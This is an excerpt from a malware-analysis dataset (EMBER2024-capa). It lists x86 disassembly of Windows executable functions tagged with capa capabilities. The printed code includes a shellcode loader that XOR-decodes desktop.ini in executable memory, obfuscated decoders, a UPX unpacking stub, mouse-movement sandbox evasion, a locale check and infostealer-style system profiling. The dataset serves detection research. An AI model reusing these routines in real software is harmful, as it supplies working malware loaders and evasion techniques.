joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4033c0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0
push eax
lea eax, [ebp - 8]
mov dword [ebp - 4], 0
mov ebx, edx
mov dword [ebp - 0xc], 0
push eax
mov edx, ecx
call fcn.00403310
mov esi, eax
test esi, esi
js 0x403488
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40343d
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x40342d
movzx eax, ax
or eax, 0x80070000
test eax, eax
js 0x403487
pop edi
pop esi
mov eax, 0x80004005
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x403473
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x403469
movzx esi, si
or esi, 0x80070000
test esi, esi
mov eax, 0x80004005
cmovns esi, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jns 0x403485
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x403490
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 3
mov edi, edx
mov eax, ecx
push edi
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x40355d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x40354a
movzx eax, word [edi]
mov ecx, edi
push esi
xor esi, esi
test ax, ax
je 0x40353d
mov edx, eax
nop dword [eax]
cmp dx, 0x5c
mov eax, ecx
cmovne eax, esi
add ecx, 2
mov esi, eax
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x4034d0
test esi, esi
je 0x40353d
xor eax, eax
mov ecx, edi
push ebx
mov word [esi], ax
call fcn.00403570
mov ebx, eax
mov eax, 0x5c
mov word [esi], ax
test ebx, ebx
js 0x403532
push 3
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
jne 0x403532
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x403529
movzx eax, ax
or eax, 0x80070000
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret 8
mov eax, ebx
pop ebx
pop esi
pop edi
mov esp, ebp
pop ebp
ret 8
pop esi
mov eax, 0x80070003
pop edi
mov esp, ebp
pop ebp
ret 8
test eax, eax
jle 0x40352b
movzx eax, ax
or eax, 0x80070000
pop edi
mov esp, ebp
pop ebp
ret 8
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret 8
Function at 0x403570
Capabilities:
Create directory

Disassembly:
push edi
mov edi, ecx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x40358d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x403591
xor eax, eax
pop edi
ret
movzx eax, word [edi]
mov ecx, edi
push esi
xor esi, esi
test ax, ax
je 0x40360c
mov edx, eax
cmp dx, 0x5c
mov eax, ecx
cmovne eax, esi
add ecx, 2
mov esi, eax
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x4035a0
test esi, esi
je 0x40360c
xor eax, eax
xor edx, edx
mov ecx, edi
mov word [esi], ax
call fcn.00403570
mov ecx, 0x5c
mov word [esi], cx
test eax, eax
js 0x403611
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x403607
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4035f8
pop esi
mov eax, 1
pop edi
ret
test eax, eax
jle 0x403611
movzx eax, ax
pop esi
or eax, 0x80070000
pop edi
ret
pop esi
xor eax, eax
pop edi
ret
mov eax, 0x80070003
pop esi
pop edi
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x405081
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x405090
pop dword [ebp - 0x50]
mov eax, 0x27680d67
add eax, 0xd8d84329
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xc780003d
add dword [ebp - 0x60], 0x86d2450e
mov dword [ebp - 0x5c], 0xf307c0e6
add dword [ebp - 0x5c], 0x3f2b8b5f
mov dword [ebp - 0x58], 0x7251d355
add dword [ebp - 0x58], 0xd9fa70d9
mov dword [ebp - 0x54], 0x8d63c54b
add dword [ebp - 0x54], 0x729c3ab5
lea eax, [ebp - 0x60]
push eax
mov eax, 0x7ab15ab9
sub eax, 0x7a70faa1
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x5539205e
add dword [ebp - 0x60], 0x1f3948f8
mov dword [ebp - 0x5c], 0x4a640449
sub dword [ebp - 0x5c], 0x8f7a2d4
mov dword [ebp - 0x58], 0x8ef5761f
add dword [ebp - 0x58], 0xd479f64d
mov dword [ebp - 0x54], 0x1997b224
add dword [ebp - 0x54], 0xe6684ddc
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x88ed6b4b
sub eax, 0x88ad0b4b
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x38094
push 0
call eax
mov ecx, 0x4cd9
mov edi, eax
mov ebx, 0xda4f9b2b
add ebx, 0x25f19ed5
add ebx, dword [ebp - 0x50]
mov edx, 0x412c11ae
sub edx, 0x312ab96f
add dword [ebp - 0x4c], 0xe5282903
mov esi, dword [ebx]
sub dword [ebp - 0x28], ecx
sub esi, edx
add dword [ebp - 0x10], ecx
mov dword [edi], esi
xor dword [ebp - 0x48], 0xed3f8fd8
add edi, 0xf95f9a4d
sub edi, 0xf95f9a49
add ebx, 0xfafb6574
add ebx, 0x5049a90
loop 0x4051ac
add eax, 0xe7248338
add eax, 0x18dca2ff
xor ebx, ebx
add ebx, eax
add eax, 0x1b2b9460
add eax, 0xe4d46ba5
mov ecx, 0x53594122
add ecx, 0xace6bede
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x22cce58
Capabilities:
Encode data using xor

Disassembly:
jmp 0x22cce62
pushal
call 0x22cce68
pop ebp
sub ebp, 0x10
sub ebp, 0x1ecce58
jmp 0x22cce7e
mov eax, 0x1ecce58
add eax, ebp
add eax, 0x4c
mov ecx, 0x5a6
mov edx, 0x72e85ade
cmpsb byte [esi], byte es:[edi]
add eax, 0xdeba0000
pop edx
call 0x423cff0a
xor byte [eax], dl
inc eax
dec ecx
jne 0x22cce95
jmp 0x22ccea8
push ebp
adc edx, dword [ebp + 0x57]
loop 0x22cce8c
invalid
Function at 0x409170
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x407015
lea edi, [esi - 0x6015]
push edi
or ebp, 0xffffffff
jmp 0x409192
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x409199
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x409188
mov eax, 1
add ebx, ebx
jne 0x4091ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4091a0
jne 0x4091bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4091a0
xor ecx, ecx
sub eax, 3
jb 0x4091d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x409242
mov ebp, eax
add ebx, ebx
jne 0x4091db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4091e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40920c
inc ecx
add ebx, ebx
jne 0x4091f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4091ed
jne 0x409209
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4091ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40922c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40921d
jmp 0x40918e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40922c
add edi, ecx
jmp 0x40918e
pop esi
mov edi, esi
mov ecx, 9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40924a
cmp byte [edi], 0
jne 0x40924a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40924f
lea edi, [esi + 0x7000]
mov eax, dword [edi]
or eax, eax
je 0x4092be
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xbe68]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xbed4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40927c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xbedc]
or eax, eax
je 0x4092b8
mov dword [ebx], eax
add ebx, 4
jmp 0x409299
call dword [esi + 0xbed8]
mov ebp, dword [esi + 0xbee0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4092f2
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x401b31
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], ecx
push edi
push 3
pop ecx
xor edx, edx
mov ebx, dword [ebp + 8]
lea eax, [esi + 2]
div ecx
mov ecx, eax
shl ecx, 2
mov dword [ebx], ecx
call fcn.0040342f
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x401c19
xor ecx, ecx
test esi, esi
je 0x401bf5
mov ebx, edi
mov edi, dword [ebp - 4]
cmp ecx, esi
jae 0x401b7e
movzx edx, byte [ecx + edi]
inc ecx
jmp 0x401b80
xor edx, edx
cmp ecx, esi
jae 0x401b8e
movzx eax, byte [ecx + edi]
inc ecx
mov dword [ebp - 4], eax
jmp 0x401b92
and dword [ebp - 4], 0
cmp ecx, esi
jae 0x401b9d
movzx eax, byte [ecx + edi]
inc ecx
jmp 0x401b9f
xor eax, eax
shl edx, 8
add edx, dword [ebp - 4]
shl edx, 8
add edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 1], al
mov eax, edx
shr eax, 6
and edx, 0x3f
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 2], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 3], al
add ebx, 4
cmp ecx, esi
jb 0x401b77
mov edi, dword [ebp - 8]
mov ebx, dword [ebp + 8]
push 3
xor edx, edx
mov eax, esi
pop ecx
div ecx
mov ecx, dword [edx*4 + 0x407130]
test ecx, ecx
jle 0x401c17
mov eax, dword [ebx]
dec eax
add eax, edi
mov byte [eax], 0x3d
dec eax
sub ecx, 1
jne 0x401c0e
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401c20
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 0x24], 0x50595243
mov edi, ecx
mov dword [ebp - 0x20], 0x2e323354
xor ebx, ebx
mov dword [ebp - 0x1c], 0x6c6c64
lea edx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x75bb510b
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], ebx
call main
cmp al, 1
jne 0x401cbb
push 0xc
xor edx, edx
lea ecx, [ebp - 0x24]
call fcn.0040349d
add esp, 4
mov dword [ebp - 0x14], edi
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x401c91
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov byte [eax + ecx], bl
jmp 0x401cbb
lea eax, [esi + esi]
cmp esi, eax
jne 0x401cbb
push 8
pop ecx
lea eax, [ebp - 8]
mov esi, str.Poverty_is_the_parent_of_crime.
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x18]
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.CRYPT32.dll_CryptProtectData]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401e87
Capabilities:
Get keyboard layout
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, 0x419
mov word [ebp - 0x20], ax
mov eax, 0x422
mov word [ebp - 0x1e], ax
mov eax, 0x423
mov word [ebp - 0x1c], ax
mov eax, 0x42c
mov word [ebp - 0x1a], ax
mov eax, 0x42b
mov word [ebp - 0x18], ax
mov eax, 0x43f
mov word [ebp - 0x16], ax
mov eax, 0x440
mov word [ebp - 0x14], ax
mov eax, 0x438
mov word [ebp - 0x12], ax
mov eax, 0x428
mov word [ebp - 0x10], ax
mov eax, 0x443
mov word [ebp - 0xe], ax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [ebp - 8], ax
mov byte [ebp - 2], 0
jmp 0x401f02
mov al, byte [ebp - 2]
add al, 1
mov byte [ebp - 2], al
movzx eax, byte [ebp - 2]
cmp eax, 0xa
jae 0x401f21
movzx eax, byte [ebp - 2]
movzx eax, word [ebp + eax*2 - 0x20]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x401f1f
jmp dword [ebp - 0x20]
jmp 0x401efa
movzx eax, word [ebp - 8]
push eax
push str.__SystemLayout__d_r_n
push 0
call fcn.00403502
add esp, 0xc
push str.__KeyboardLayouts:__
push 0
call fcn.00403502
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
push 0x32
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x401f9c
mov byte [ebp - 1], 0
jmp 0x401f69
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, dword [ebp - 0xc]
jge 0x401f9c
movzx eax, byte [ebp - 1]
movzx eax, word [ebp + eax*4 - 0xe8]
push eax
push str._d
push 0
call fcn.00403502
add esp, 0xc
movzx eax, byte [ebp - 1]
and dword [ebp + eax*4 - 0xe8], 0
jmp 0x401f61
push str.___r_n
push 0
call fcn.00403502
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x401fae
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
movaps xmm0, xmmword [0x4075b0]
mov ecx, 0x100
push ebx
push esi
push edi
movups xmmword [esp + 0x14], xmm0
call fcn.0040342f
mov dword [esp + 0xc], eax
mov edi, 0x80000000
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x14]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
cmp eax, edi
jb 0x40205d
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x14]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
cmp edi, 0x80000002
jne 0x402028
mov ecx, dword [esp + 0xc]
jmp 0x402048
cmp edi, 0x80000003
jne 0x402039
mov ecx, dword [esp + 0xc]
lea ecx, [ecx + 0x10]
jmp 0x402048
cmp edi, 0x80000004
jne 0x402056
mov ecx, dword [esp + 0xc]
lea ecx, [ecx + 0x20]
push 0x10
lea edx, [esp + 0x18]
call fcn.00403472
add esp, 4
inc edi
cmp edi, dword [esp + 0x10]
jbe 0x402001
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x402080
lea eax, [esp + 0x4c]
push eax
push str.__HWID:__s_r_n
push 0
call fcn.00403502
add esp, 0xc
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [esp + 0x38]
mov ebx, dword [esp + 0x10]
push ebx
push str.__CPU:__s___d_cores__r_n
push 0
call fcn.00403502
add esp, 0x10
mov ecx, ebx
call fcn.0040345d
mov ebx, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea eax, [esp + 0xc8]
xor edi, edi
xor esi, esi
inc edi
push edi
push eax
push edi
jmp 0x4020fc
mov eax, dword [esp + 0xc8]
cmp esi, eax
je 0x4020eb
lea eax, [esp + 0xec]
push eax
push edi
push str.__VideoAdapter__d:__s_r_n
push 0
call fcn.00403502
mov eax, dword [esp + 0xd8]
add esp, 0x10
test esi, esi
push 1
cmove esi, eax
lea eax, [esp + 0xcc]
inc edi
push eax
push edi
push 0
mov dword [esp + 0xd8], 0x1a8
call ebx
test eax, eax
jne 0x4020c1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402116
Capabilities:
Check for unmoving mouse cursor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
xor eax, eax
inc eax
je 0x40215d
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 4]
jne 0x402151
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 8]
je 0x402153
jmp 0x40215d
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402132
mov esp, ebp
pop ebp
ret
Function at 0x403767
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x2014b50
call fcn.004036b2
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 0xa]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.004036b2
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.004036b2
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.004036b2
mov dx, word [edi + 0x18]
add esi, 0xc
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 0x1a]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 0x1c]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 0x1e]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 0x20]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov edx, dword [edi + 0x24]
add esi, eax
mov ecx, esi
call fcn.004036b2
mov edx, dword [edi + 0x28]
lea ecx, [esi + 4]
call fcn.004036b2
movzx eax, word [edi + 0x18]
add esi, 8
test ax, ax
je 0x403867
mov edx, dword [edi + 0x2c]
mov ecx, esi
push eax
call fcn.00403472
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x403884
mov edx, dword [edi + 0x30]
mov ecx, esi
push eax
call fcn.00403472
movzx eax, word [edi + 0x1a]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1c]
test ax, ax
je 0x4038a1
mov edx, dword [edi + 0x34]
mov ecx, esi
push eax
call fcn.00403472
movzx ecx, word [edi + 0x1c]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x4038a9
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
mov edx, 0x4034b50
call fcn.004036b2
mov dx, word [edi]
lea esi, [ebx + 4]
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 2]
push 2
pop eax
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 4]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 6]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov dx, word [edi + 8]
add esi, eax
mov ecx, esi
call fcn.004036cb
mov edx, dword [edi + 0xc]
add esi, eax
mov ecx, esi
call fcn.004036b2
mov edx, dword [edi + 0x10]
lea ecx, [esi + 4]
call fcn.004036b2
mov edx, dword [edi + 0x14]
lea ecx, [esi + 8]
call fcn.004036b2
mov dx, word [edi + 0x18]
lea ecx, [esi + 0xc]
call fcn.004036cb
mov dx, word [edi + 0x1a]
lea ecx, [esi + 0xe]
call fcn.004036cb
movzx eax, word [edi + 0x18]
add esi, 0x10
test ax, ax
je 0x403958
mov edx, dword [edi + 0x1c]
mov ecx, esi
push eax
call fcn.00403472
movzx eax, word [edi + 0x18]
add esp, 4
add esi, eax
movzx eax, word [edi + 0x1a]
test ax, ax
je 0x403975
mov edx, dword [edi + 0x20]
mov ecx, esi
push eax
call fcn.00403472
movzx ecx, word [edi + 0x1a]
add esp, 4
add esi, ecx
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403a4f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov eax, ecx
mov dword [ebp - 4], eax
cmp dword [0x4080d4], edi
jne 0x403a96
push ebx
push esi
mov esi, edi
push 8
mov ecx, esi
pop ebx
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor ecx, eax
sub ebx, 1
jne 0x403a6c
mov dword [esi*4 + 0x4080d0], ecx
inc esi
cmp esi, 0x100
jl 0x403a67
mov eax, dword [ebp - 4]
pop esi
pop ebx
or ecx, 0xffffffff
test edx, edx
je 0x403ab8
movzx eax, byte [edi + eax]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4080d0]
inc edi
mov eax, dword [ebp - 4]
cmp edi, edx
jb 0x403a9d
not ecx
mov eax, ecx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403f6a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne al
ret

Function at 0x4042d9
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], edx
push edi
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x40430b
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x40430b
xor al, al
jmp 0x4043e7
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4043e4
mov eax, dword [esi + 0x3c]
add eax, esi
cmp dword [eax], 0x4550
jne 0x4043e4
mov ecx, 0x2000
test word [eax + 0x16], cx
je 0x4043e4
mov edi, dword [eax + 0x78]
test edi, edi
je 0x4043e4
cmp dword [eax + 0x7c], 0
je 0x4043e4
mov eax, dword [edi + esi + 0x1c]
mov ecx, dword [edi + esi + 0x24]
add eax, esi
mov dword [ebp - 0x18], eax
add ecx, esi
mov eax, dword [edi + esi + 0x20]
push ebx
xor ebx, ebx
mov dword [ebp - 0x14], ecx
add eax, esi
mov dword [ebp - 8], ebx
mov dword [ebp - 0x1c], eax
cmp dword [edi + esi + 0x18], ebx
jbe 0x4043e3
mov edx, dword [ebp - 0xc]
mov eax, dword [eax + ebx*4]
xor bl, bl
add eax, esi
cmp dword [edx], 0
mov dword [ebp - 0x10], eax
je 0x4043d3
cmp bl, 0xff
jae 0x4043d3
mov ecx, eax
call fcn.0040354c
mov ecx, dword [ebp - 0x10]
mov edx, eax
call fcn.00403a4f
mov edx, dword [ebp - 0xc]
movzx ecx, bl
cmp eax, dword [edx + ecx*4]
je 0x4043b8
inc bl
movzx eax, bl
cmp dword [edx + eax*4], 0
mov eax, dword [ebp - 0x10]
jne 0x404387
jmp 0x4043d3
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx + eax*4]
movzx eax, bl
add ecx, esi
inc byte [ebp - 1]
mov dword [edx + eax*4], ecx
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
inc ebx
mov dword [ebp - 8], ebx
cmp ebx, dword [edi + esi + 0x18]
jb 0x404378
pop ebx
mov al, byte [ebp - 1]
pop edi
pop esi
mov esp, ebp
pop ebp
ret